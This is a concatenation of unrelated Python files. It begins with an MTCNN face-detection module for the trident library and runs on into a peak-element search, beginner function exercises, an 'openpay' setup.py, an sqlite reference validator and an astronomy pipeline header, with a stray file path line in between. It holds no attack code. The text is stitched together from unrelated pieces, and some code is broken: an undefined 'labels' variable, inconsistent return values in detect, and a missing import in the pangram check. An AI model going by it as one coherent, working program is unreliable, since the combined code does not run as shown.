from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import builtins
import gc
import os
import time

import numpy as np
import torch

from trident.backend.common import *
from trident.backend.opencv_backend import image2array
from trident.backend.pytorch_backend import *
from trident.backend.pytorch_backend import Layer, Sequential, load, get_device, fix_layer
from trident.backend.pytorch_ops import *
from trident.data.image_common import *
from trident.data.utils import download_model_from_google_drive
from trident.data.vision_transforms import Normalize
from trident.layers.pytorch_activations import PRelu
from trident.layers.pytorch_layers import *
from trident.layers.pytorch_pooling import *
from trident.optims.pytorch_trainer import ImageDetectionModel

__all__ = ['Pnet', 'Rnet', 'Onet', 'Mtcnn']

_session = get_session()
_device = get_device()
_epsilon = _session.epsilon
_trident_dir = _session.trident_dir

dirname = os.path.join(_trident_dir, 'models')
if not os.path.exists(dirname):
    try:
        os.makedirs(dirname)
    except OSError:
        # Except permission denied and potential race conditions
        # in multi-threaded environments.
        pass

def p_net():
    return Sequential(
        Conv2d((3, 3), 10, strides=1, auto_pad=False, use_bias=True, name='conv1'),
        PRelu(num_parameters=1),
        MaxPool2d((2, 2), strides=2, auto_pad=False),
        Conv2d((3, 3), 16, strides=1, auto_pad=False, use_bias=True, name='conv2'),
        PRelu(num_parameters=1),
        Conv2d((3, 3), 32, strides=1, auto_pad=False, use_bias=True, name='conv3'),
        PRelu(num_parameters=1),
        ModuleDict(
            {'confidence': Conv2d((1, 1), 1, strides=1, auto_pad=False, use_bias=True, activation='sigmoid',
                                  name='conv4_1'),
             'box': Conv2d((1, 1), 4, strides=1, auto_pad=False, use_bias=True, name='conv4_2'),
             'landmark': Conv2d((1, 1), 10, strides=1, auto_pad=False, use_bias=True, name='conv4_3')},
            is_multicasting=True)
        , name='pnet')

def r_net():
    return Sequential(
        Conv2d((3, 3), 28, strides=1, auto_pad=False, use_bias=True, name='conv1'),
        PRelu(num_parameters=1),
        MaxPool2d((3, 3), strides=2, auto_pad=False),
        Conv2d((3, 3), 48, strides=1, auto_pad=False, use_bias=True, name='conv2'),
        PRelu(num_parameters=1),
        MaxPool2d((3, 3), strides=2, auto_pad=False),
        Conv2d((2, 2), 64, strides=1, auto_pad=False, use_bias=True, name='conv3'),
        PRelu(num_parameters=1),
        Flatten(),
        Dense(128, activation=None, use_bias=True, name='conv4'),
        PRelu(num_parameters=1),
        ModuleDict({
            'confidence': Dense(1, activation='sigmoid', use_bias=True, name='conv5_1'),
            'box': Dense(4, activation=None, use_bias=True, name='conv5_2'),
            'landmark': Dense(10, activation=None, use_bias=True, name='conv5_3')}, is_multicasting=True)
        , name='rnet')

def o_net():
    return Sequential(
        Conv2d((3, 3), 32, strides=1, auto_pad=False, use_bias=True, name='conv1'),
        PRelu(num_parameters=1),
        MaxPool2d((3, 3), strides=2, auto_pad=False),
        Conv2d((3, 3), 64, strides=1, auto_pad=False, use_bias=True, name='conv2'),
        PRelu(num_parameters=1),
        MaxPool2d((3, 3), strides=2, auto_pad=False),
        Conv2d((3, 3), 64, strides=1, auto_pad=False, use_bias=True, name='conv3'),
        PRelu(num_parameters=1),
        MaxPool2d((2, 2), strides=2, auto_pad=False),
        Conv2d((2, 2), 128, strides=1, auto_pad=False, use_bias=True, name='conv4'),
        PRelu(num_parameters=1),
        Flatten(),
        Dense(256, activation=None, use_bias=True, name='conv5'),
        PRelu(num_parameters=1),
        ModuleDict({
            'confidence': Dense(1, activation='sigmoid', use_bias=True, name='conv6_1'),
            'box': Dense(4, activation=None, use_bias=True, name='conv6_2'),
            'landmark': Dense(10, activation=None, use_bias=True, name='conv6_3')}, is_multicasting=True)
        , name='onet')

def Pnet(pretrained=True,
         input_shape=(3, 12, 12),
         freeze_features=True,
         **kwargs):
    if input_shape is not None and len(input_shape) == 3:
        input_shape = tuple(input_shape)
    else:
        input_shape = (3, 12, 12)
    pnet = ImageDetectionModel(input_shape=input_shape, output=p_net())
    pnet.preprocess_flow = [Normalize(0, 255), image_backend_adaption]
    if pretrained == True:
        download_model_from_google_drive('1w9ahipO8D9U1dAXMc2BewuL0UqIBYWSX', dirname, 'pnet.pth')
        recovery_model = fix_layer(load(os.path.join(dirname, 'pnet.pth')))
        pnet.model = recovery_model

    pnet.model.input_shape = input_shape
    pnet.model.to(_device)
    return pnet

def Rnet(pretrained=True,
         input_shape=(3, 24, 24),
         **kwargs):
    if input_shape is not None and len(input_shape) == 3:
        input_shape = tuple(input_shape)
    else:
        input_shape = (3, 24, 24)
    rnet = ImageDetectionModel(input_shape=input_shape, output=r_net())
    rnet.preprocess_flow = [Normalize(0, 255), image_backend_adaption]
    if pretrained == True:
        download_model_from_google_drive('1CH7z133_KrcWMx9zXAblMCV8luiQ3wph', dirname, 'rnet.pth')
        recovery_model = load(os.path.join(dirname, 'rnet.pth'))
        recovery_model = fix_layer(recovery_model)
        recovery_model.to(_device)
        rnet.model = recovery_model
    return rnet

def Onet(pretrained=True,
         input_shape=(3, 48, 48),
         **kwargs):
    if input_shape is not None and len(input_shape) == 3:
        input_shape = tuple(input_shape)
    else:
        input_shape = (3, 48, 48)
    onet = ImageDetectionModel(input_shape=(3, 48, 48), output=o_net())
    onet.preprocess_flow = [Normalize(0, 255), image_backend_adaption]
    if pretrained == True:
        download_model_from_google_drive('1a1dAlSzJOAfIz77Ic38JMQJYWDG_b7-_', dirname, 'onet.pth')
        recovery_model = load(os.path.join(dirname, 'onet.pth'))
        recovery_model = fix_layer(recovery_model)
        recovery_model.to(_device)
        onet.model = recovery_model
    return onet

class DetectorHead(Layer):
    def __init__(self, cellsize=12, threshold=0.5, min_size=5, **kwargs):
        super(DetectorHead, self).__init__(**kwargs)
        self.cellsize = cellsize
        self.detection_threshold = threshold
        self.min_size = min_size

        self._built = True

    def forward(self, input, **kwargs):
        boxprobs, boxregs, landscape = input.value_list
        boxprobs = boxprobs[0]
        height, width = boxprobs.shape[1:]
        if boxprobs.size(0) == 2:
            boxprobs = boxprobs[1:, :, :]
        strides = 2
        boxregs = boxregs[0]
        input_shape = boxprobs.size()
        grid = meshgrid(boxprobs.size(1), boxprobs.size(2))
        grid = grid.view(2, -1)
        score = boxprobs[0]
        y, x = torch.where(score >= self.detection_threshold)
        boxregs = boxregs.permute(1, 2, 0)

        score = score[(y, x)]
        reg = boxregs[(y, x)].transpose(1, 0)
        bb = torch.stack([x, y], dim=0)

        q1 = (strides * bb + 1)
        q2 = (strides * bb + self.cellsize - 1 + 1)

        w = q2[0, :] - q1[0, :] + 1
        h = q2[1, :] - q1[1, :] + 1

        b1 = q1[0, :] + reg[0, :] * w
        b2 = q1[1, :] + reg[1, :] * h
        b3 = q2[0, :] + reg[2, :] * w
        b4 = q2[1, :] + reg[3, :] * h

        boxs = torch.stack([b1, b2, b3, b4, score], dim=-1)
        # keep =torchvision.ops.boxes.remove_small_boxes(boxs[:,:4],min_size=self.min_size)
        # boxs=boxs[keep]
        # print('total {0} boxes cutoff={1} '.format(len(x), cutoff))
        if boxs is None or len(boxs.size()) == 0:
            return None
        elif len(boxs.size()) == 1:
            boxs = boxs.unsqueeze(0)
        return boxs

def remove_useless_boxes(boxes, image_size=None, min_size=5):
    height, width = image_size if image_size is not None else (None, None)

    x1, y1, x2, y2, score = [boxes[:, i] for i in range(5)]
    area = (x2 - x1 + 1) * (y2 - y1 + 1)
    boxes = boxes[area > min_size * min_size]
    x1, y1, x2, y2, score = [boxes[:, i] for i in range(5)]
    greater0 = x1.gt(0).float() * x2.gt(0).float() * y1.gt(0).float() * y1.gt(0).float()
    boxes = boxes[greater0 > 0]
    x1, y1, x2, y2, score = [boxes[:, i] for i in range(5)]
    w = (x2 - x1)
    boxes = boxes[w > 1]
    x1, y1, x2, y2, score = [boxes[:, i] for i in range(5)]
    h = (y2 - y1)
    boxes = boxes[h > 1]

    return boxes

class Mtcnn(ImageDetectionModel):
    def __init__(self, pretrained=True, min_size=10, detection_threshold=(0.4, 0.7, 0.9), nms_threshold=(0.9, 0.8, 0.5),
                 **kwargs):

        self.pnet = Pnet(pretrained=pretrained, input_shape=(3, 12, 12)).model
        self.rnet = Rnet(pretrained=pretrained, input_shape=(3, 24, 24)).model
        self.onet = Onet(pretrained=pretrained, input_shape=(3, 48, 48)).model
        super(Mtcnn, self).__init__(input_shape=(3, 12, 12), output=self.pnet)
        self.min_size = min_size
        self.detection_threshold = detection_threshold
        self.nms_threshold = nms_threshold
        self.preprocess_flow = [Normalize(0, 255), image_backend_adaption]

    def get_image_pyrimid(self, img, min_size=None, factor=0.709):
        if min_size is None:
            min_size = self.min_size
        min_face_area = (min_size, min_size)
        h = img.shape[0]
        w = img.shape[1]
        minl = np.amin([h, w])
        m = 12.0 / min_size
        minl = minl * m
        # 收集縮放尺度以及對應縮圖
        scales = []
        images = []
        factor_count = 0
        while minl >= 12:
            scales += [m * np.power(factor, factor_count)]
            scaled_img = rescale(scales[-1])(img.copy())
            images.append(scaled_img)
            minl = minl * factor
            factor_count += 1
        return images, scales

    def generate_bboxes(self, probs, offsets, scale, threshold):
        """
           基於Pnet產生初始的候選框
        """
        stride = 2
        cell_size = 12

        # 透過np.where挑出符合基於門檻值的特徵圖位置(xy座標)
        inds = where(probs > threshold)

        '''
        >>> a =np.array([[1,2,3],[4,5,6]])
        >>> np.where(a>1)
        (array([0, 0, 1, 1, 1]), array([1, 2, 0, 1, 2]))
        '''
        # 如果沒有區域滿足機率門檻值，則傳回空array
        if inds[0].size == 0:
            return np.array([])

        # 根據pnet輸出的offset區域產生對應的x1,y1,x2,y2座標
        tx1, ty1, tx2, ty2 = [offsets[0, i, inds[0], inds[1]] for i in range(4)]

        offsets = stack([tx1, ty1, tx2, ty2], axis=-1)
        # 以及抓出對應的機率值
        score = probs[inds[0], inds[1]]

        # 由於Pnet輸入的是基於圖像金字塔縮放尺度對應的圖片，因此需要根據縮放尺度來調整候選框座標，以還原成真實圖片的尺度
        # 根據 候選框、機率值、offset來排列
        bounding_boxes = concate([
            round((stride * inds[1] + 1.0) / scale).expand_dims(-1),
            round((stride * inds[0] + 1.0) / scale).expand_dims(-1),
            round((stride * inds[1] + 1.0 + cell_size) / scale).expand_dims(-1),
            round((stride * inds[0] + 1.0 + cell_size) / scale).expand_dims(-1),
            score.expand_dims(-1), offsets
        ], axis=-1)
        print(bounding_boxes.shape)
        # 將bounding_boxes由原本[框屬性數量,框個數]的形狀轉置為[框個數，框屬性數量]

        return bounding_boxes

    def convert_to_square(self, bboxes):
        """Convert bounding boxes to a square form.
        Arguments:
            bboxes: a float numpy array of shape [n, 5].
        Returns:
            a float numpy array of shape [n, 5],
                squared bounding boxes.
        """

        square_bboxes = zeros_like(bboxes)
        x1, y1, x2, y2 = [bboxes[:, i] for i in range(4)]
        h = y2 - y1 + 1.0
        w = x2 - x1 + 1.0
        max_side = maximum(h, w)
        square_bboxes[:, 0] = x1 + w * 0.5 - max_side * 0.5
        square_bboxes[:, 1] = y1 + h * 0.5 - max_side * 0.5
        square_bboxes[:, 2] = square_bboxes[:, 0] + max_side - 1.0
        square_bboxes[:, 3] = square_bboxes[:, 1] + max_side - 1.0
        return square_bboxes

    # 校準候選框座標
    # 將offset對應至圖片長寬的線性縮放來獲得更新的候選框精調後座標
    def calibrate_box(self, bboxes, offsets):
        """Transform bounding boxes to be more like true bounding boxes.
        'offsets' is one of the outputs of the nets.
        Arguments:
            bboxes: a float numpy array of shape [n, 5].
            offsets: a float numpy array of shape [n, 4].
        Returns:
            a float numpy array of shape [n, 5].
        """

        x1, y1, x2, y2 = [bboxes[:, i] for i in range(4)]
        w = x2 - x1 + 1.0
        h = y2 - y1 + 1.0
        # w [w_len, 1]
        w = expand_dims(w, 1)
        # h [h_len, 1]
        h = expand_dims(h, 1)

        translation = concate([w, h, w, h], axis=-1) * offsets
        bboxes[:, 0:4] = bboxes[:, 0:4] + translation
        return bboxes

    # 基於tensor計算nms
    def nms(self, box_scores, overlap_threshold=0.5, top_k=-1):
        """Non-maximum suppression.
        Arguments:
            box_scores: a float numpy array of shape [n, 5],
                where each row is (xmin, ymin, xmax, ymax, score).
            overlap_threshold: a float number.
        Returns:
            list with indices of the selected boxes
        """

        # 計算面積
        def area_of(left_top, right_bottom):
            """Compute the areas of rectangles given two corners.

            Args:
                left_top (N, 2): left top corner.
                right_bottom (N, 2): right bottom corner.

            Returns:
                area (N): return the area.
            """
            hw = right_bottom - left_top
            return clip(hw[..., 0], min=0) * clip(hw[..., 1], min=0)

        # 計算IOU(交集/聯集)
        def iou_of(boxes0, boxes1, eps=1e-5):
            """Return intersection-over-union (Jaccard index) of boxes.

            Args:
                boxes0 (N, 4): ground truth boxes.
                boxes1 (N or 1, 4): predicted boxes.
                eps: a small number to avoid 0 as denominator.
            Returns:
                iou (N): IoU values.
            """
            overlap_left_top = maximum(boxes0[..., :2], boxes1[..., :2])
            overlap_right_bottom = minimum(boxes0[..., 2:], boxes1[..., 2:])

            overlap_area = area_of(overlap_left_top, overlap_right_bottom)
            area0 = area_of(boxes0[..., :2], boxes0[..., 2:])
            area1 = area_of(boxes1[..., :2], boxes1[..., 2:])
            return overlap_area / (area0 + area1 - overlap_area + eps)

        # 如果沒有有效的候選區域則回傳空的清單
        box_scores = to_tensor(box_scores)
        if len(box_scores) == 0:
            return []
        score = box_scores[:, 4]
        boxes = box_scores[:, :4]
        # 存放過關的索引值
        picked = []
        # 依照機率信心水準升冪排序
        indexes = argsort(score, descending=False)

        while len(indexes) > 0:
            # 如此一來，最後一筆即是信心水準最高值
            # 加入至過關清單中
            current = indexes[-1]
            picked.append(current.item())

            # 計算其餘所有候選框與此當前框之間的IOU

            if 0 < top_k == len(picked) or len(indexes) == 1:
                break
            current_box = boxes[current, :]
            current_score = score[current]
            # 除了最後一筆以外的都是其餘框
            indexes = indexes[:-1]
            rest_boxes = boxes[indexes, :]
            iou = iou_of(
                rest_boxes,
                expand_dims(current_box, axis=0),
            )
            # IOU未超過門檻值的表示未與當前框重疊，則留下，其他排除
            indexes = indexes[iou <= overlap_threshold]
        return picked

    def detect(self, image):
        """
        Arguments:
            image: 基於RGB排列的圖像(可以是路徑或是numpy向量)

        Returns:
            輸出為候選框以及對應的五官特徵點

        """
        # 暫存此原圖
        image = image2array(image)
        self.image = image

        self.height, self.width = image.shape[:2]
        min_length = min(self.height, self.width)

        # 第一階段: 候選 pnet
        bounding_boxes = []

        # 先計算圖像金字塔的各個縮放比率
        images, scales = self.get_image_pyrimid(image, min_size=self.min_size, factor=0.707)

        # 每個縮放比率各執行一次Pnet(全卷積網路)
        for img, scale in zip(images, scales):
            # 生成該尺度下的候選區域
            # 透過機率值門檻做篩選後再透過nms去重複
            boxes = self.run_first_stage(img, scale)
            print('Scale:', builtins.round(scale * 10000) / 10000.0, 'Scaled Images:', img.shape, 'bboxes:', len(boxes),
                  flush=True)
            if boxes.ndim == 1:
                boxes.expand_dims(0)
            bounding_boxes.append(boxes)

        # 將各個尺度所檢測到的候選區域合併後
        bounding_boxes = [i for i in bounding_boxes if i is not None]
        bounding_boxes = concate(bounding_boxes, axis=0)
        print('totl bboxes:', len(bounding_boxes))

        # 將候選框的座標做一下校準後再進行nms
        bounding_boxes = self.calibrate_box(bounding_boxes[:, 0:5], bounding_boxes[:, 5:])
        keep = self.nms(bounding_boxes[:, 0:5], self.nms_threshold[0])
        bounding_boxes = bounding_boxes[keep]

        # 將框盡可能調整成正方形
        bounding_boxes = self.convert_to_square(bounding_boxes)
        bounding_boxes[:, 0:4] = round(bounding_boxes[:, 0:4])
        print('totl bboxes after nms:', len(bounding_boxes))

        # # 將這階段的候選框圖輸出
        # pnet_img = self.image.copy()
        # for box in bounding_boxes[:, :4]:
        #     pnet_img = plot_one_box(box, pnet_img, (255, 128, 128), None, 1)

        # plt.figure(figsize=(16, 16))
        # plt.axis('off')
        # plt.imshow(pnet_img.astype(np.uint8))
        if is_gpu_available():
            torch.cuda.synchronize()
            torch.cuda.empty_cache()
        gc.collect()

        # 第二階段: 精調 rnet
        # 將第一階段留下來的候選框區域挖下來，縮放成24*24大小，交給rnet做確認以及框座標精調
        img_boxes = self.get_image_boxes(bounding_boxes, size=24)
        print('RNet!')

        probs = []
        offsets = []

        if len(img_boxes) > 16:
            for i in range(len(img_boxes) // 16 + 1):
                if i * 16< len(img_boxes):
                    output = self.rnet(to_tensor(img_boxes[i * 16:(i + 1) * 16, :, :, :]))
                    probs.append(to_numpy(output['confidence']))
                    offsets.append(to_numpy(output['box']))
                    del output
            probs = np.concatenate(probs, axis=0)
            offsets =np.concatenate(offsets, axis=0)

        else:

            output = self.rnet(to_tensor(img_boxes))
            probs = to_numpy(output['confidence'])  # 形狀為 [n_boxes, 1]
            offsets = to_numpy(output['box'])  # 形狀為 [n_boxes, 4]

        # 根據機率門檻值排除機率值較低的框
        keep = np.where(probs[:, 0] > self.detection_threshold[1])[0]
        bounding_boxes = to_numpy(bounding_boxes)[keep]
        bounding_boxes=np.concatenate([bounding_boxes[:,:4],probs[keep, 0].reshape((-1,1))],axis=1)
        #bounding_boxes[:, 4] = probs[keep, 0].reshape((-1,))
        offsets = offsets[keep]
        print('totl bboxes:', len(bounding_boxes))

        # 將框的座標做精調後再進行nms
        bounding_boxes = self.calibrate_box(bounding_boxes, offsets)
        keep = self.nms(bounding_boxes, self.nms_threshold[1])
        bounding_boxes = bounding_boxes[keep]

        # 將框盡可能調整成正方形
        bounding_boxes = self.convert_to_square(bounding_boxes)
        bounding_boxes[:, 0:4] = round(bounding_boxes[:, 0:4]).copy()
        print('totl bboxes after nms:', len(bounding_boxes))

        # # 將這階段的候選框圖輸出
        # rnet_img = self.image.copy()
        # for i in range(bounding_boxes.shape[0]):
        #     box = bounding_boxes[i, :4]
        #     rnet_img = plot_one_box(box, rnet_img, (255, 128, 128), None, 2)

        # plt.figure(figsize=(16, 16))
        # plt.axis('off')
        # plt.imshow(rnet_img.astype(np.uint8))
        if is_gpu_available():
            torch.cuda.synchronize()
            torch.cuda.empty_cache()
        gc.collect()
        # 第三階段: 輸出 onet

        img_boxes = self.get_image_boxes(bounding_boxes, size=48)
        if len(img_boxes) == 0:
            return [], []
        print('ONet!')

        probs = []
        offsets = []
        landmarks = []

        if len(img_boxes) > 16:
            for i in range(len(img_boxes) //16 + 1):
                if i * 16 < len(img_boxes):
                    output = self.onet(to_tensor(img_boxes[i * 16:(i + 1) * 16, :, :, :]))
                    probs.append(output['confidence'].copy())
                    offsets.append(output['box'].copy())
                    landmarks.append(output['landmark'].copy())
                    del output
            probs = concate(probs, axis=0)
            offsets = concate(offsets, axis=0)
            landmarks = concate(landmarks, axis=0)

        else:

            output = self.onet(to_tensor(img_boxes))
            probs = output['confidence']  # 形狀為 [n_boxes, 1]
            offsets = output['box']  # 形狀為 [n_boxes, 4]
            # 只有這一階段需要檢視人臉特徵點
            landmarks = output['landmark']  # 形狀為 [n_boxes, 10]

        # 根據機率門檻值排除機率值較低的框
        keep = where(probs[:, 0] > self.detection_threshold[2])[0]
        bounding_boxes = bounding_boxes[keep]
        bounding_boxes[:, 4] = probs[keep, 0].reshape((-1,))
        offsets = offsets[keep]
        landmarks = landmarks[keep]
        print('totl bboxes:', len(bounding_boxes))

        # 將框的座標做精調後計算對應的臉部特徵點位置，然後再進行nms
        bounding_boxes = self.calibrate_box(bounding_boxes, offsets)

        # 根據模型輸出計算人臉特徵點
        width = bounding_boxes[:, 2] - bounding_boxes[:, 0] + 1.0
        height = bounding_boxes[:, 3] - bounding_boxes[:, 1] + 1.0
        xmin, ymin = bounding_boxes[:, 0], bounding_boxes[:, 1]
        landmarks[:, 0:5] = expand_dims(xmin, 1) + expand_dims(width, 1) * landmarks[:, 0:5]
        landmarks[:, 5:10] = expand_dims(ymin, 1) + expand_dims(height, 1) * landmarks[:, 5:10]

        # 做最後一次nms
        keep = self.nms(bounding_boxes, self.nms_threshold[2])
        print('totl bboxes after nms:', len(bounding_boxes))
        bounding_boxes = bounding_boxes[keep]
        landmarks = landmarks[keep]
        probs = probs[keep]

        # # 將這階段的候選框圖輸出
        # onet_img = self.image.copy()
        # for i in range(bounding_boxes.shape[0]):
        #     box = bounding_boxes[i, :4]
        #     onet_img = plot_one_box(box, onet_img, (255, 128, 128), None, 2)
        # for landmark in landmarks:
        #     landmarks_x = landmark[:5]
        #     landmarks_y = landmark[5:]
        #     for i in range(5):
        #         cv2.circle(onet_img, (int(landmarks_x[i]), int(landmarks_y[i])), 2, (255, 128, 255), 1)

        # plt.figure(figsize=(16, 16))
        # plt.axis('off')
        # plt.imshow(onet_img.astype(np.uint8))
        gc.collect()

        return self.image.copy(), bounding_boxes, probs, landmarks

        # 執行第一階段

    def run_first_stage(self, img, scale):
        """Run P-Net, generate bounding boxes, and do NMS.

        Arguments:
            img: an instance of PIL.Image.
            scale: a float number,
                scale width and height of the image by this number.

        Returns:
            a float numpy array of shape [n_boxes, 9],
                bounding boxes with scores and offsets (4 + 1 + 4).
        """

        sh, sw = img.shape[:2]
        width, height = self.width, self.height
        threshold = self.detection_threshold[0]

        # 將圖像做基礎處理後送入pnet
        for transform in self.preprocess_flow:
            img = transform(img)

        output = self.pnet(expand_dims(to_tensor(img), 0))

        probs = output['confidence'][0, 0, :, :]
        offsets = output['box']

        # 根據全卷積網路輸出結果計算對應候選框座標
        boxes = self.generate_bboxes(probs, offsets, scale, threshold)

        # 在此尺度的候選框先做一次nms已有效減少候選框數量，這樣後續rnet, onet才不會GPU爆掉。
        keep = self.nms(boxes[:, 0:5], overlap_threshold=self.nms_threshold[0])
        boxes = boxes[keep].copy()
        del output
        return boxes

        # 根據候選框座標至原圖挖取人臉圖像，已進行後續階段

    def get_image_boxes(self, bounding_boxes, size=24):
        """Cut out boxes from the image.
        Arguments:
            bounding_boxes: a float numpy array of shape [n, 5].
            size: an integer, size of cutouts.
        Returns:
            a float numpy array of shape [n, 3, size, size].
        """

        num_boxes = len(bounding_boxes)
        height, width = self.image.shape[:2]

        # 宣告空白的img_boxes物件用來存放挖取的人臉圖像區域
        img_boxes = np.zeros((num_boxes, 3, size, size), "float32")
        n = 0
        for i in range(num_boxes):
            x1, y1, x2, y2 = bounding_boxes[i][:4]
            try:
                # 根據x1,y1,x2,y2座標，且座標必須大於零且小於等於圖像長寬的原則來挖取人臉區域
                yy1 = int(builtins.max(y1, 0))
                yy2 = int(builtins.min(y2, self.height))
                xx1 = int(builtins.max(x1, 0))
                xx2 = int(builtins.min(x2, self.width))
                img_box = self.image[yy1:yy2, xx1:xx2, :]
                if img_box.shape[0] != img_box.shape[1]:
                    # 若挖出非正方形則補滿為正方形
                    max_length = builtins.max(list(img_box.shape[:2]))
                    new_img_box = np.zeros((max_length, max_length, 3))
                    new_img_box[0:img_box.shape[0], 0:img_box.shape[1], :] = img_box
                    img_box = new_img_box
                # 將正方形區域縮放後，經過預處理self.preprocess_flow後再塞入img_boxes
                img_box = resize((size, size), keep_aspect=True)(img_box)

                for transform in self.preprocess_flow:
                    img_box = transform(img_box)
                img_boxes[i, :, :, :] = img_box
                n += 1
            except:
                pass
        # 列印一下成功挖取的區域數量(有可能座標本身不合理造成無法成功挖取)
        print(n, 'image generated')
        return img_boxes

    def infer_single_image(self, img, **kwargs):
        if self.model.built:
            self.model.to(self.device)
            self.model.eval()
        image, boxes, probs, landmarks = self.detect(img)
        return image, to_numpy(boxes), to_numpy(probs).astype(np.int32), to_numpy(landmarks)

    def infer_then_draw_single_image(self, img):
        start_time = time.time()
        rgb_image, boxes, probs, landmark = self.infer_single_image(img)
        if boxes is not None and len(boxes) > 0:
            boxes = np.round(boxes).astype(np.int32)
            if boxes.ndim == 1:
                boxes = np.expand_dims(boxes, 0)

            print(img, time.time() - start_time)
            pillow_img = array2image(rgb_image.copy())

            print(boxes, labels, flush=True)
            if len(boxes) > 0:
                for m in range(len(boxes)):
                    this_box = boxes[m]
                    this_label = 1
                    if int(this_label) > 0:
                        thiscolor = self.palette[1]
                        print('face', this_box, probs[m], flush=True)
                        pillow_img = plot_bbox(this_box, pillow_img, thiscolor, self.class_names[
                            int(this_label)] if self.class_names is not None else '', line_thickness=2)
            rgb_image = np.array(pillow_img.copy())

        return rgb_image, boxes, probs, landmark


def findPeakElement(nums):
    if len(nums) == 1 or nums[0] > nums[1]:
        return 0

    n = len(nums)

    if nums[n - 1] > nums[n - 2]:
        return n - 1

    # 0th and n - 1 th index already checked
    start = 1
    end = n - 1

    while start <= end:
        mid = start + (end - start) // 2

        if nums[mid - 1] < nums[mid] > nums[mid + 1]:
            return mid

        # Find peak on the left
        elif nums[mid] < nums[mid - 1]:
            end = mid - 1

        # Find peak on the right
        else:
            start = mid + 1

    return -1

nums = [1, 2, 1, 3, 5, 6, 4]
print(findPeakElement(nums))

Binary Seach/1. BS on 1D Arrays/13. Find Peak Element.py


# Assignment - 20 Full Stack Web Development using Python MySirG

                  #More on functions

# 1. Write a python program to create a function that takes a list and returns a new list
# with the original list's unique elements.
def unique_list(l):
  x = []
  for a in l:
    if a not in x:
      x.append(a)
  return x

print(unique_list([1,2,3,3,3,3,4,5]))
# 2. Write a python program to create a function that takes a number as a parameter and
# checks if the number is prime or not.
def check_prime(n):
	    if (n==1):
	        return False
	    elif (n==2):
	        return True
	    else:
	        for x in range(2,n):
	            if(n % x==0):
	                return False
	        return True
print(check_prime(11))

# 3. Write a python program to create a function that prints the even numbers from a
# given list.
# Sample List : [1, 2, 3, 4, 5, 6, 7, 8, 9]
def even(l):
    l2=[]
    for i in l:
       if i%2==0:
           l2.append(i)

    return l2
l = [1, 2, 3, 4, 5, 6, 7, 8, 9]
result=even(l)
print(result)

# 4. Write a python program to create a function that checks whether a passed string is palindrome or not.
def strPalindrome(s,start,end):
    while start<=end:
        if s[start]==s[end]:
            start=start+1
            end=end-1
        else:
            return False
    return True
s="nitin"
#s="abcddcba"
#s="mango"
start=0
end=len(s)-1
result=strPalindrome(s,0,end)
print (result)

# 5. Write a python program to create a function to find the Min of three numbers.
def minimum(a, b, c):

    if (a <= b) and (a <= c):
        smallest = a

    elif (b <= a) and (b <= c):
        smallest = b
    else:
        smallest = c

    return smallest

a = 10
b = 14
c = 12
print(minimum(a, b, c))

# 6. Write a python program to create a function and print a list where the values are
# square of numbers between 1 and 30.
def fun():
	l = list()
	for i in range(1,31):
		l.append(i**2)
	print(l)

fun()
#7. Write a python program to access a function inside a function.
def num1(x):
   def num2(y):
      return x * y
   return num2
res = num1(10)

print(res(5))

# 8. Write a python program to create a function that accepts a string and calculate the
# number of upper case letters and lower case letters.
x=input("Enter the string:- ")
def char(x):
  u=0
  l=0
  for i in x:
      if i>='a' and i<='z':
       l+=1

      if i >='A' and i<='Z':
       u+=1

  print("LowerCase letter in the String",l)
  print("UpperCase letter in the String",u)
char(x)

# 9. Write a python program to create a function to check whether a string is a pangram or not.
# from string import ascii_lowercase as asc_lower
def check(s):
    return set(asc_lower) - set(s.lower()) == set([])
strng=input("Enter string:")
if(check(strng)==True):
      print("The string is a pangram")
else:
      print("The string isn't a pangram")

# 10. Write a python program to create a function to check whether a string is an anagram or not.
def check(s1, s2):

    if(sorted(s1)== sorted(s2)):
        print("The strings are anagrams.")
    else:
        print("The strings aren't anagrams.")

s1 ="listen"
s2 ="silent"
check(s1, s2)


import os
import sys

try:
    from setuptools import setup
except ImportError:
    from distutils.core import setup

try:
    from distutils.command.build_py import build_py_2to3 as build_py
except ImportError:
    from distutils.command.build_py import build_py

path, script = os.path.split(sys.argv[0])
os.chdir(os.path.abspath(path))

requests = 'requests >= 2.1.0'
if sys.version_info < (2, 6):
    requests += ', < 2.1.0'
install_requires = [requests, "future==0.15.2"]

# Don't import openpay module here, since deps may not be installed
sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'openpay'))
from version import VERSION

# Get simplejson if we don't already have json
if sys.version_info < (3, 0):
    try:
        import json
    except ImportError:
        install_requires.append('simplejson')

setup(name='openpay',
      cmdclass={'build_py': build_py},
      version=VERSION,
      description='Openpay python bindings',
      author='Openpay',
      author_email='soporte@openpay.mx',
      url='https://www.openpay.mx/',
      tests_require=['mock'],
      packages=['openpay', 'openpay.test'],
      package_data={'openpay': ['data/ca-certificates.crt', '../VERSION']},
      install_requires=install_requires,
      test_suite='openpay.test.all',
      use_2to3=True,
      )


import sqlite3

"""
Two functions to help the main.py functions to validate the reference variable.
"""

# Open the database and create a cursor
conn = sqlite3.connect("candidate.db")
c = conn.cursor()

""" **************************
Args - ref - str
Return - Bool

A validation function that takes the reference as an argument, checks the length is equal to 8 and then
if it is made up of only letters and numbers. If either of these steps fail, a relevant message is sent to the user
explaining why.
**************************"""
def valid_reference(ref):
    if len(ref) != 8:
        print("Reference must be 8 characters long.")
        return False
    else:
        count = 0
        for i in ref:
            if (57 >= ord(i) >= 48) or (90 >= ord(i) >= 65) or (122 >= ord(i) >= 97):
                count += 1
                if count == 8:
                    return True
            else:
                print("Reference must be only letters/digits.")
                return False

""" **************************
Args - ref - str
Return - either DB row or False
This function takes the reference as an argument and checks the database to see if it exists. If it does it
messages the user and return the record.
If not, then it returns False

**************************"""
def check_reference_exists(ref):
    with conn:
        c.execute("SELECT * FROM candidate_table WHERE reference=?", (ref,))
        candidate_selected = c.fetchone()
        if candidate_selected:
            print("Reference exists...")
            return candidate_selected
        return False


# Licensed under a MIT style license - see LICENSE.txt

"""MUSE-PHANGS check pipeline module
"""

__authors__ = "Eric Emsellem"
__copyright__ = "(c) 2017, ESO + CRAL"
__license__ = "MIT License"
__contact__ = " <eric.emsellem@eso.org>"
# This module will take a MusePipe object and do the plot check ups

# Standard modules
from os.path import join as joinpath
import glob

__version__ = '0.0.4 (21 Feb 2019)'
# v0.0.4: Debugged a bit more with the new MusePipe structure
# v0.0.3: Debugged a bit the sequence
# v0.0.2: Added some import after moving MuseCube, MuseImage, etc
# v0.0.1: initial

from .graph_pipe import GraphMuse
from .musepipe import MusePipe
